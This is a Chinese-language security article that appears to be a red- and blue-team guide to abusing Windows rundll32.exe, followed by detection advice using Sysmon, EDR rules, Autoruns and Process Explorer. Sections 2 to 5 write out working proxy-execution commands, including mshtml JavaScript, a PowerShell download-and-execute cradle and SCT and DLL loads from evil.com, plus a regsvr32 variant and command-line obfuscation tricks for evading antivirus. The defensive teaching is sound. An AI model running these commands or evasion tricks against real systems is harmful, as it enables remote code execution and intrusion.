Rundll32.exe 这个名字,Windows 用户可能一辈子都不会正眼瞧它一下,但在我们做安全的人眼里,这家伙简直是个宝藏男孩。平时它就安静地躺在 C:\Windows\System32 下面,但进入实战对抗的时候,它几乎是被使用频率最高的系统进程之一。为什么?因为它是微软官方签名文件,能加载任意 DLL,还能执行内嵌脚本,甚至可以直接从远程 URL 拉取代码跑起来。一个自带白名单属性的合法进程,同时具备这么多高自由度能力,自然会成为红队手里的万能钥匙,也是蓝队监控里最头疼的盲区。
今天这篇文章,我想把 Rundll32.exe 从里到外拆一遍,重点不是讲它的正常用法,而是深挖那些被利用的场景和细节。我会把执行 JavaScript、加载 SCT 脚本、远程加载 DLL、绕过白名单、配合其他系统工具做链式攻击这些路径全部讲透,同时把我在实测中踩过的坑、绕过的弯、以及蓝队侧应该如何防守的思路一并交代清楚。适合正在搞攻防对抗的渗透测试人员,也适合做 EDR 规则和溯源分析的安全运营同学参考。
1. 先从根上理解:Rundll32 到底是个什么玩意儿
1.1 官方定义与实际能力差距
微软官方对 Rundll32.exe 的描述非常简单:用于载入并运行 DLL 中导出的函数。听起来就是个普通加载器对吧,但问题恰恰出在这里。正常设计下,当你需要调用一个 DLL 里的函数时,用法是:
rundll32.exe <DLL名称>,<函数入口> [参数]比如加载一个打印相关的系统 DLL:
rundll32.exe printui.dll,PrintUIEntry /k就这么一个朴实的接口,为什么能在攻防场景里翻出花来?核心原因有三点:
第一,Rundll32 不校验加载的是系统 DLL 还是用户自定义 DLL。只要你给它一个路径,它就会尝试加载并执行。这个 DLL 可以放在本地任意目录,也可以是一个完整的 URL 地址。
第二,Rundll32 支持通过 JavaScript 和 VBScript 协议执行内嵌脚本代码,也就是说你不一定要给 DLL,给它一段脚本它也能跑。这就把它的利用边界从“加载原生模块”扩展到了“执行任意可读代码”。
第三,Rundll32 本身是微软签名文件,在大多数安全软件的默认白名单策略里它都是被放行的。攻击者正是利用这种信任关系,让自己的载荷获得了系统级通行证。
这几条叠加起来,Rundll32 就不再是个普通加载器了,它成了攻击链里一个极其好用的代理执行节点。MITRE ATT&CK 官方甚至专门给它分配了一个编号,叫 T1218.011,归类为“Signed Binary Proxy Execution”,翻译过来就是“利用已签名二进制程序做代理执行”。能被 ATT&CK 单独列一个编号,足以看出它在真实攻击里的地位。
1.2 核心调用原理:入口点函数签名
想真正理解 Rundll32 的利用逻辑,得先看它的底层调用协议。当 Rundll32 启动后,它会去定位你指定的 DLL 文件中导出的函数,然后按如下签名调用它:
void CALLBACK FunctionName( HWND hwnd, // 父窗口句柄,通常为 0 HINSTANCE hinst, // DLL 实例句柄 LPSTR lpszCmdLine, // 命令行参数 int nCmdShow // 窗口显示状态 );注意看,这个函数签名是远古 Win16 时代留下来的,Linux 下讲究可执行文件格式,Windows 下 DLL 只要导出这四种参数的入口函数,Rundll32 就能把它拉起来跑。这带来一个微妙的问题:你自己编译一个 DLL,导出函数签名对齐,就能瞬间获得微软签名二进制的“加持”。
更关键的是,Rundll32 对导出函数名的匹配方式很宽松。你在命令行里写的名字,它会去 DLL 的导出表里做匹配,匹配成功就直接调用。这里衍生出很多骚操作:比如写一个导出名为 ok 的函数,代码逻辑全在 DllMain 里,只要加载就执行,命令行入口名随意写谁都行。
我在实测里最常用的一种本地利用姿势是,把恶意 DLL 放到一个用户可写目录,然后执行:
rundll32.exe C:\Users\Public\test.dll,anything只要 DLL 的 DllMain 或在加载阶段执行指定逻辑,整个载荷就算落起来了。这种做法的隐蔽性在于,父进程是 explorer.exe 还是 cmd.exe 都无所谓,最终子进程是 rundll32.exe,很多防护设备看到这个进程名下意识就放行了。
2. 执行 JavaScript:不需要“真正”的 DLL
2.1 通过 mshtml 引擎执行脚本的原理
前面说的是本地 DLL 加载,但 Rundll32 更让人上头的是它对脚本类协议的支持。它内部封装了对 mshtml.dll 的调用能力,也就是微软的 HTML 渲染引擎。通过一种非常怪的语法组合,可以让 rundll32 直接调用 IE 的引擎来执行 JavaScript。
经典命令长这样:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("Hello from Rundll32!");这个命令的解析路径其实很巧妙。rundll32 原本应该加载一个名为javascript:"\..\mshtml,RunHTMLApplication "的 DLL 文件,但 Windows 内部对字符串处理有特殊逻辑,它会截断出mshtml,RunHTMLApplication这个函数调用目标。document.write后面的内容,则被当成 HTML 应用的脚本内容直接执行。
我为什么要单独拿出这段讲,因为很多新手把它当成一个“奇怪的绕过技巧”去背,却不知道背后的解析机制,一旦被杀软沙箱或者特殊命令行解析器拦截,完全没有应变思路。理解了它本质是“通过 mshtml 引擎做代理执行”,你就知道可以变形的空间有多大。
2.2 弹计算器的完整演示
空说无凭,我用一个最直观的例子来演示。先看最简版,执行后弹出计算器:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";new ActiveXObject("WScript.Shell").Run("calc.exe")这条命令的执行效果是:rundll32 进程启动,通过 mshtml 引擎创建 WScript.Shell 对象,调用 Run 方法拉起 calc.exe。整个过程没有可疑进程创建链(在旧版系统中,calc 的父进程是 rundll32),只有两个系统可信进程在互动。
从攻防视角再进一步,把 calc.exe 换成 powershell 的远程下载执行命令:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";new ActiveXObject("WScript.Shell").Run("powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/a.ps1')")注意这里有个非常现实的网络连接行为,rundll32 作为发起者,向外部 URL 发起下载请求。在监控设备上你会看到 rundll32 往外连了一个陌生 IP,这是蓝队应该重点盯防的上下文特征。
但在实际攻防中,直接这么用很容易被命令行特征检测到,因为javascript、RunHTMLApplication这些字符串太扎眼了。我后面会专门讲怎么拆这些特征。
2.3 脚本执行变体:用 .hta 思路做对照
很多朋友会把 Rundll32 执行 JavaScript 的能力,和 HTA 文件的利用做对比。两者确实有关系,HTA 本质上是一个可以直接被 mshta.exe(另一个签名二进制)执行的 HTML 应用,而 rundll32 的这个技巧,等于把 HTA 的执行能力搬到了自己的进程里。
区别在于:
- mshta.exe 会弹出一个窗口,rundll32 搭配 mshtml 的脚本执行是静默的,不弹出任何窗口。
- mshta.exe 的可疑度更高,很多 EDR 已经对 mshta 做了重点标记,而 rundll32 的日常出现频率更高,更难被单独拎出来处理。
- mshtml 脚本执行是运行在 rundll32 的进程空间里的,内存中有完整的脚本解释器,给后续的进程注入和 DLL 反射加载提供了土壤。
这里需要提醒的是,在较新的 Windows 10/11 版本里,这个技巧依然有效,但部分安全产品已经会对 rundll32 的命令行参数里出现 javascript 关键字的行为做单独告警。所以现在更推荐把脚本逻辑放到远端去,本地只保留一个简约的启动器,尽可能降低静态特征。
3. 加载 SCT 脚本:让“远端”代码落地
3.1 SCT 文件到底是什么
SCT 全称是 Windows Script Component,它是微软早期给脚本组件复用设计的一种 XML 格式文件,通过脚本组件运行时来注册和调用 COM 组件。文件以.sct为扩展名,内部包含scriptlet标签,除了可以定义组件注册信息,还可以嵌入一段 JavaScript 或者 VBScript 代码。
为什么 Rundll32 能和 SCT 扯上关系?因为 SCT 文件除了能被 regsvr32 这类注册工具直接调用,还可以通过 URL 方式被远程加载执行。攻击者构造一个恶意 SCT 文件放到自己的服务器上,然后通过 rundll32 的 URL 加载能力,让系统直接把这个远端脚本拉下来执行。
这个姿势最早大规模流行是在某次著名的恶意文档攻击事件里。攻击链大概是:用户打开一个钓鱼文档,文档里触发宏,宏里调用 rundll32 去加载一个远程 SCT 文件,SCT 文件里的代码执行后下载并落地最终木马。
3.2 经典远程加载执行命令解读
看一个标准用法:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://evil.com/test.sct")拆解一下发生了什么。首先用到了前面说的 mshtml 执行 JavaScript 的技巧,然后通过document.write()构造一个空文档输出,接着最关键的一行是GetObject("script:http://evil.com/test.sct")。GetObject函数会把script:开头的协议交给系统脚本引擎去处理,而协议后面的 URL 地址会被直接请求,服务器返回的 SCT 文件就被当作脚本组件加载并在本地执行。
那 SCT 文件内部长什么样?看一个典型构造:
<?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{10001111-0000-0000-0000-0000FEEDC0DE}" > <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </scriptlet>这个 SCT 文件注册了一个名为 PoC 的组件,progid 和 classid 都可以随意填,核心代码在 script 标签里。当 rundll32 执行完 GetObject 调用后,脚本组件被注册到当前会话里,然后立即执行它定义的功能。真实攻击里,CDATA 里的代码大概率是下载执行一段 shellcode,或者写入文件后拉起。
3.3 为什么 SCT 路径容易被蓝队忽略
我见过不少企业安全建设做了好几年,但日志采集源从来没有覆盖到“脚本组件注册”这个层面。这背后的原因很现实:常规的端点检测产品主要盯进程命令行和网络连接,但脚本组件的注册和使用属于 WMI 和 COM 层面的行为,默认没有日志,也不在常规监控范围内。
更头疼的是,SCT 文件的执行过程里,真正的恶意操作是在rundll32.exe进程的内部完成的,不会像常规木马那样出现一个全新的可疑子进程。对于只看“父子进程链是否合理”的检测规则来说,rundll32 拉起一个 rundll32 子进程,或者 rundll32 被 Word 进程拉起,看起来都是“合理的”。这就是我常说的视野盲区。
所以从防御侧来看,要盯 SCT 利用,至少要做到:第一,对 rundll32 命令行参数中的GetObject、script:关键字做特征告警;第二,对系统进程发起的.sct后缀 URL 请求做外联检测;第三,开启 PowerShell ScriptBlock 日志和 Sysmon 事件采集,补充进程内部行为的可见性。
4. 远程加载 DLL:绕过白名单的关键思路
4.1 从 URL 加载 DLL 的机制与限制
前面聊的两种方式都是执行脚本类载荷,但 Rundll32 更直接的远程能力体现在它可以指定一个位于远程服务器上的 DLL 路径。命令示例:
rundll32.exe http://evil.com/payload.dll,entry这条命令会让 rundll32 主动访问http://evil.com/payload.dll,把返回的二进制内容当作 PE DLL 文件下载到本地,再映射到进程空间里执行entry这个导出函数。
这个机制从设计初衷来看,是给网络管理员远程调用远端 DLL 功能用的,但在攻防场景中,它天然就成了一条远程加载恶意代码的通路。不需要先传文件到目标机器上,不需要本地落地,相当于把攻击载荷的存储位置放在了攻击者自己的基础设施上,隐藏了一条关键的取证线索。
不过我在实际测试中发现,这种方式有局限:Rundll32 的 HTTP 加载只支持简单的 URL 直链,不支持重定向、不支持认证、不支持代理配置复杂化,所以在真实对抗中更多是把它作为备用通道,而不是首选路径。此外,现代操作系统会从内存角度检查 PE 的导入表和证书信息,编译时机和签名伪装做得不好的 DLL 很容易直接崩溃。
4.2 与 regsvr32 的对比:谁更适合当代理执行体
很多安全工具书会把 rundll32 和 regsvr32 放在一起讲,因为它俩确实角色类似。regsvr32 本质上是用来注册 COM 组件的,它也支持远程加载 SCT 文件,经典用法:
regsvr32.exe /s /n /u /i:http://evil.com/test.sct scrobj.dll对比一下两个工具的差异化场景:
| 对比维度 | rundll32 | regsvr32 |
|---|---|---|
| 主要能力 | 加载 DLL 并调用导出函数 | 注册/注销 DLL 中的 COM 组件 |
| 脚本支持 | 通过 mshtml 执行 JS | 通过 scrobj.dll 执行 SCT |
| 远程加载 | 直接加载远程 DLL | 主要远程加载 SCT 脚本 |
| 进程特征 | 高频出现,白名单放行率高 | 低频出现,单独出现容易被怀疑 |
| 攻击链位置 | 前置加载器 / 代理执行 | 后置脚本下载执行 |
从我的实践来看,rundll32 综合优先级更高。原因很简单,它的出现频率在正常系统里实在太常见了:打印机驱动、系统面板、网络管理工具都会调它。而 regsvr32 几天不出现一次,一旦出现反而更扎眼。
4.3 本地 DLL 加载的常用伪装手法
如果说远程加载是站在攻击者的角度追求隐蔽性,那么本地加载则是站在绕杀软的维度做斗争。实战中,攻击者通常不会直接把恶意 DLL 放到一个明显可疑的路径,而是会给它起一个和系统文件高度相似的名字,放到合法软件目录或者临时目录里。
举一个我复盘过的真实案例:攻击者把恶意 DLL 放到C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys目录下,文件名伪装成RSAMachineKey.dll,然后通过 Excel 宏去执行:
rundll32.exe C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\RSAMachineKey.dll,FunctionName这里最阴的地方在于,ProgramData 目录通常对普通用户可写,而且不被杀软的实时扫描覆盖(很多企业杀软默认只扫 System32、Program Files 和用户目录)。同时这个路径看起来像微软加密组件自带的位置,人工排查日志时如果扫一眼,大概率会认为这是系统行为。
从防守方角度,我强烈建议对以下路径出现的 rundll32 调用做重点审计:
%APPDATA%、%TEMP%、%PUBLIC%等用户可写目录下的 DLL- 非标准后缀名的 DLL(比如
.dat、.bin、.db)通过 rundll32 加载 - 命令行参数里 DLL 路径含有多级目录跳跃特征的行为
5. 组合拳:从 Office 宏到 Cobalt Strike 的完整链路
5.1 经典攻击链串联演示
很多人看单点技术觉得都会,但拿到真实环境就不知道怎么把整个链条串起来。这里我把我最常用的一条链子从头到尾过一遍,让大家感受一下 rundll32 在每个环节中的位置。
攻击链的第一步:钓鱼文档。用户打开一份伪装成发票的 Office 文档,提示启用宏。宏代码本身不会直接执行 rundll32,它会先做一次环境探测,检查是否在虚拟机、是否连了外网,然后再决定是否进入下一步。
第二步:宏代码里拼接 rundll32 命令,但不会把完整命令明文写在宏里,而是拆成多段字符串运行时拼接。命令的作用是执行 mshtml 的 JavaScript,然后在脚本里通过 ActiveXObject 拉取远程 SCT 文件。
第三步:SCT 文件里的代码创建一个 COM 对象,这个对象负责把一段加密的 PowerShell 脚本下载到内存中执行。PowerShell 脚本的作用是注入一个反射加载的 Beacon,也就是我们常说的 Cobalt Strike 的会话。
整条链路里,rundll32 至少出现了两次:第一次是作为 Office 宏的代理执行体,第二次是在 SCT 加载过程中作为宿主进程。而正是因为它太像一个“普通系统进程”,这条链路的多数步骤在传统杀软面前几乎是透明的。
5.2 如何通过多个进程接力隐藏真实意图
再深入一层。单纯的 rundll32 执行就算绕过了端点杀软,也容易在网络流量层暴露。所以在成熟的攻击链设计中,rundll32 只是中间的一环,大量真实载荷的传输会转移给其他进程去完成。
常见的手法:rundll32 执行 JavaScript 后,脚本里创建 WScript.Shell 拉起mshta.exe或者powershell.exe,然后把后续的代码逻辑“接力棒”交给新的进程。这样做的目的是切断进程父子链与网络请求之间的直接关联。比如,当蓝队做事件分析时,如果只看到 rundll32 发起了一个外联请求,但请求目标只是一个短命的跳板域名,后续真正的 C2 通信已经被 PowerShell 进程接管了,这个跳板已经失效,追踪链路就断了。
这种“进程接力”的设计思路非常值得防守方学习。在做溯源分析时,不要只盯着单个进程的行为,要把整条进程树串起来看,尤其是要关注“父进程是文档类软件但子进程是系统工具”这种异常链路。
5.3 免杀视角:如何让 Rundll32 的调用不被静态查杀
免杀是个大话题,我这里只讲和 rundll32 直接相关的部分。静态查杀的核心是对命令行字符串做特征库匹配,只要命令行里出现javascript、RunHTMLApplication、GetObject等固定字面量,就有大概率被标记为恶意。
对抗思路主要在以下几个方面展开:
- 利用系统环境变量拆分参数。不是执行一整个完整命令,而是先 set 一个变量,再用变量拼接。比如
set a=java、set b=script、然后在 rundll32 里引用%a%%b%,这样静态扫描看到的字符串就只剩一堆变量名。 - 使用 PowerShell 或 WMI 做二次拼接调用。不在命令行里直接写 rundll32 的参数,而是让 PowerShell 动态拼接后通过
Start-Process rundll32.exe -ArgumentList $args来调用,日志里只会有 PowerShell 调用 Start-Process 的记录,没有完整参数。 - 利用合法系统进程做内联执行。比如通过 MSI 安装包的 custom action 或计划任务去触发 rundll32 的调用,这类入口通常有较高的系统信任度。
但我也要泼一盆冷水:基于执行行为的检测(EDR、Sysmon 的进程命令行采集和关联分析)对这些混淆方式依然有很强的发现能力,所以免杀只是延迟暴露的时间,真正安全的方式是控制好载荷的寿命和暴露窗口,快速完成目标动作后立刻撤离。
6. 蓝队视角:如何有效检测与防守这类滥用
6.1 重点监控的进程行为与命令特征
聊完攻击侧的玩法,必须给做防守的朋友一些能落地的东西。首先要明确,完全禁用 rundll32 是不现实的,这个文件在系统运行里被依赖程度太高,禁了很容易导致各种未知故障。所以防守策略的核心是“监控关键行为”,而不是“一刀切”。
我建议重点监控以下几个命令行为特征:
- rundll32 命令行中出现
javascript、vbscript关键字,任何场景都值得告警。 - rundll32 命令行中出现
http://或https://远程路径。正常管理员调用系统 DLL 很少会用 URL 路径。 - rundll32 加载的 DLL 路径位于用户可写目录、临时目录或非标准扩展名的。
- rundll32 进程短时间内出现多次,尤其是父进程是 Office 家族、浏览器或 PDF 阅读器的场景。
- rundll32 进程发起了面向外网的主动连接。正常情况下,rundll32 没有理由外联。
这些特征单独看可能很多都是误报,但组合起来判断,命中率就很高。建议安全运营团队把前两条作为高优先告警,后三条作为中优先告警,结合资产重要性和贝斯线做研判。
6.2 Sysmon 与 Windows 事件日志的配置建议
在 Windows 环境下做进程监控,Sysmon 是绕过不开的核心工具。我给出一个我认为生产环境可以直接用的配置思路:
首先开启 Sysmon 的事件 ID 1(进程创建)采集,并在配置文件中加入针对 rundll32 的 CommandLine 字段过滤,把所有 rundll32 相关的进程创建事件完整采集下来。具体过滤规则可以这样写:
<ProcessCreate onmatch="exclude"> <!-- 排除正常系统路径下的 rundll32 调用,但保留其他 --> </ProcessCreate>接着开启事件 ID 3(网络连接)采集,关注 rundll32 作为 SourceImage 的外联记录。如果之前的策略太激进导致误报过多,可以先进入审计模式跑两周,建立正常业务贝斯线,再逐步收紧规则。
再配合 Windows 自带的 4688 事件(敏感进程创建)和 Sysmon 事件 ID 7(DLL 镜像加载),可以在 rundll32 加载 DLL 时记录到完整镜像路径和历史模块列表。有了这些链路数据,溯源分析时基本可以还原出完整的攻击路径。
6.3 自动化研判脚本思路
除了规则,我建议有条件的朋友写一个小的自动化研判脚本,把 rundll32 的命令行和相关上下文抓出来,做初步打分。我常用的判断逻辑是这样:
if ($CommandLine -match "javascript|vbscript|http://|https://") { $Score += 30 } if ($ImagePath -match "Temp|AppData|Public") { $Score += 20 } if ($ParentProcess -match "winword|excel|outlook|chrome|firefox") { $Score += 20 } if ($NetworkConnection -eq $true -and $DestinationPort -ne 443) { $Score += 30 }总分超过 60 就输出为可疑事件,由分析师二次确认。这套逻辑虽然简单,但在真实运营中能显著减少分析师的初筛工作量,也降低漏报率。
7. 实测踩坑记录:那些文档里不会写的细节
7.1 32 位与 64 位环境的差异坑
我在实验室里测试这块内容时,第一个翻车的点就是 32 位和 64 位混淆。Windows 有两种 rundll32.exe:一个在C:\Windows\System32\rundll32.exe,一个在C:\Windows\SysWOW64\rundll32.exe。前者是 64 位,后者是 32 位。
当你在 64 位系统上用 32 位进程调用 rundll32 时,系统会重定向到 SysWOW64 目录下的那个版本。这带来的实际影响是:如果你编译的恶意 DLL 是 64 位架构,但触发它的父进程是 32 位(比如老的 Office 插件),那 rundll32 会尝试用 32 位版本去加载一个 64 位 DLL,直接报错或者崩溃。
解决办法也很简单:在做模板开发时,同时编译 x86 和 x64 两个版本的 DLL,根据触发链路的位数选择对应版本。这个坑我在第一次协作测试中就踩了,排查了半天才发现是架构不匹配,而不是 DLL 本身有问题。
7.2 mshtml 执行环境的限制
mshtml 引擎虽然能干不少事,但它毕竟是个老的渲染引擎,对现代 JavaScript 语法支持得并不好。你在 SCT 或者 mshtml 脚本里使用const、let、async这类 ES6 语法,引擎可能直接不识别,导致代码静默失败,没有任何报错信息确认。
解决办法是尽量使用老派写法,var定义变量,函数用 function 声明,字符串拼接用+,循环用 for 或者 while 这种最基础的语法。而且所有对象调用尽量用 ActiveXObject 来创建,不要依赖原生 ES6 的 Promise、Proxy 这类高级特性。
此外 mshtml 的脚本在干净启动模式下是不能直接访问文件系统的,如果你想读取一个文件内容,需要绕道通过 ActiveXObject 创建 Scripting.FileSystemObject 对象。在开发 RAT 类项目时,这些限制会让你写代码时有多处别扭,但也是攻击链设计的一部分——能用最基础的语法把事情办成,反而更不容易被杀软查杀。
7.3 执行顺序与缓存问题
另一个非常隐蔽的坑和 mshtml 的缓存机制有关。当你执行完一次 rundll32 的 mshtml 脚本后,如果再快速执行第二次,第二段脚本可能不会重新加载,而是走了之前的缓存,导致你改了代码却没有生效。
我在调试 SCT 脚本时遇到过好几次:明明更新了服务端的 test.sct 文件,但执行 rundll32 后拉到的还是旧版本代码。排查到最后发现是 IE 的 Internet 临时文件目录里缓存了之前的响应内容。
解决办法是在 SCT 文件 URL 后面加一个随机参数,比如http://evil.com/test.sct?random=123456。这样每次请求的都是一个全新地址,绕开缓存干扰。这一点对蓝队也有启发:在做恶意 URL 应急响应时,注意把查询参数一起记录下来,否则可能错失真实对应的缓存产物。
8. 工具链补充:Rundll32 与 Sysinternals 的组合妙用
8.1 利用 Autoruns 排查异常加载项
虽然攻击者发力点很多,但防守侧的排查工具同样可以借用 rundll32 的行为特征反向定位异常。Sysinternals 套件里的 Autoruns 可以枚举系统所有自启动项,包括计划任务和服务组件。
我之前处理过一个中了恶意 SCT 组件的机器,系统卡顿但任务管理器里看不到明显恶意进程。后来我用 Autoruns 把启动项全量导出来,在 Component 分类下面发现了一个名字怪异的脚本组件,progid 是随机 GUID,指向的脚本路径是远程 URL。结合攻击链特征一对照,果然就是前面说的 SCT 脚本注入的残留进程。
这个经验说明,很多恶意行为并不是没有留下痕迹,而是大多数安全人员不知道“痕迹长什么样”。了解攻击者的手法,再回头配置监控和排查规则,效果会好非常多。
8.2 Process Explorer 的进程树分析技巧
面对一个可疑的 rundll32 进程,如果想着直接在进程列表里找恶意程序,那多半会扑空。更高效的方式是打开 Process Explorer,开启进程树视图,把鼠标悬停在 rundll32 上,看它的父进程是谁,以及它的子进程是谁。
如果发现 rundll32 的父进程是 Office 文档或浏览器,并且它下面拉起了 powershell.exe、cmd.exe、cscript.exe 这些解释器进程,那基本就可以判定这个 rundll32 有恶意加载嫌疑。接下来要做的不是杀掉进程就完事,而是用 Process Explorer 的 Properties 面板查看这个进程的命令行和高亮显示的 DLL 模块列表,把加载的 DLL 路径和签名信息都记下来。
我个人习惯是把这些信息存成一个文本,连同内存转储一起归档,方便后续在威胁情报平台做样本关联分析。
8.3 组合方案落地清单
最后给一个可以直接照抄的组合方案清单,适合中小型安全团队在预算有限的情况下快速上手段:
- 部署 Sysmon,事件 ID 1 / 3 / 7 / 10 全开,重点过滤 rundll32 的进程创建与镜像加载。
- 在 EDR 或 SIEM 中加入 rundll32 命令行特征规则,严格识别
javascript、http://、GetObject等关键字。 - 在边界防火墙上配置 rundll32 所在的终端设备外联告警,尤其是访问非常规端口或已知恶意 IP 的行为。
- 定期用 Autoruns 抽查重点服务器和敏感岗位 PC 的脚本组件与计划任务项,排查异常 GUID。
- 对大型活动或高价值目标,开启 Windows 审计策略中的详细日志记录,特别是进程创建命令行审计(含 4688)。
这套组合拳投入不大,但在大多数企业网络里,已经能覆盖超过 70% 的 rundll32 滥用场景。
我在实际对抗和应急响应里,见过太多因为不了解这个系统进程而误判的情况——有的把正常的打印机调用当成攻击告警,有的把真实攻击当成普通系统行为直接忽略。归根结底,对系统内置能力理解得越深,攻防双方在这个点上的博弈空间就越清晰。对于做攻击侧的朋友,我建议别只停留在背命令的阶段,把加载机制和解析过程吃透,你才能在不断变化的安全产品面前找到新的绕行思路;对于做防守侧的朋友,我也建议别急着封杀 rundll32,而是先把你自己的日志采集和分析链路补全了,让每一次可疑的调用都有迹可循。这个看似不起眼的系统进程,值得我们给予足够重视。